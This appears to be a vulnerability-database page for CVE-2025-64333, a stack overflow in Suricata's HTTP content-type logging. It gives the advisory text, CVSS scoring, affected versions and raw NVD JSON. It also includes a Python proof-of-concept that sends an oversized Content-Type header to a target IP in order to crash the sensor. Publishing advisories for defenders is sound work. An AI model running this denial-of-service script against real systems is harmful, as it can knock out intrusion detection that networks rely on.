Security Vulnerability Report
中文
CVE-2025-64333 CVSS 7.5 HIGH

CVE-2025-64333

Published: 2025-11-26 23:15:49
Last Modified: 2025-12-05 13:55:47

Description

Suricata is a network IDS, IPS and NSM engine developed by the OISF (Open Information Security Foundation) and the Suricata community. Prior to versions 7.0.13 and 8.0.2, a large HTTP content type, when logged can cause a stack overflow crashing Suricata. This issue has been patched in versions 7.0.13 and 8.0.2. A workaround for this issue involves limiting stream.reassembly.depth to less then half the stack size. Increasing the process stack size makes it less likely the bug will trigger.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:* - VULNERABLE
Suricata < 7.0.13
Suricata < 8.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-64333 PoC - Suricata HTTP Content-Type Stack Overflow # This PoC demonstrates sending an HTTP request with an oversized Content-Type header # that can trigger a stack overflow in vulnerable Suricata versions import socket import sys def send_malicious_http_request(target_ip, target_port): """ Send HTTP request with oversized Content-Type header to trigger vulnerability """ # Generate oversized Content-Type value (exceeds stack buffer size) oversized_content_type = "a" * 10000 # Construct malicious HTTP request http_request = ( f"POST / HTTP/1.1\r\n" f"Host: {target_ip}:{target_port}\r\n" f"Content-Type: {oversized_content_type}\r\n" f"Content-Length: 0\r\n" f"\r\n" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_request.encode('utf-8')) print(f"[+] Malicious request sent to {target_ip}:{target_port}") print(f"[+] Content-Type length: {len(oversized_content_type)} bytes") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) print("[*] CVE-2025-64333 Suricata Stack Overflow PoC") print("[*] Target: Suricata with vulnerable HTTP logging") send_malicious_http_request(target_ip, target_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64333", "sourceIdentifier": "[email protected]", "published": "2025-11-26T23:15:48.590", "lastModified": "2025-12-05T13:55:46.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Suricata is a network IDS, IPS and NSM engine developed by the OISF (Open Information Security Foundation) and the Suricata community. Prior to versions 7.0.13 and 8.0.2, a large HTTP content type, when logged can cause a stack overflow crashing Suricata. This issue has been patched in versions 7.0.13 and 8.0.2. A workaround for this issue involves limiting stream.reassembly.depth to less then half the stack size. Increasing the process stack size makes it less likely the bug will trigger."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.0.13", "matchCriteriaId": "AA4D86E3-44A3-4B0B-9CF4-9FC88091D3C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.2", "matchCriteriaId": "C93A731C-19AD-4067-B28C-17164C2D981D"}]}]}], "references": [{"url": "https://github.com/OISF/suricata/security/advisories/GHSA-537h-xxmx-v87m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}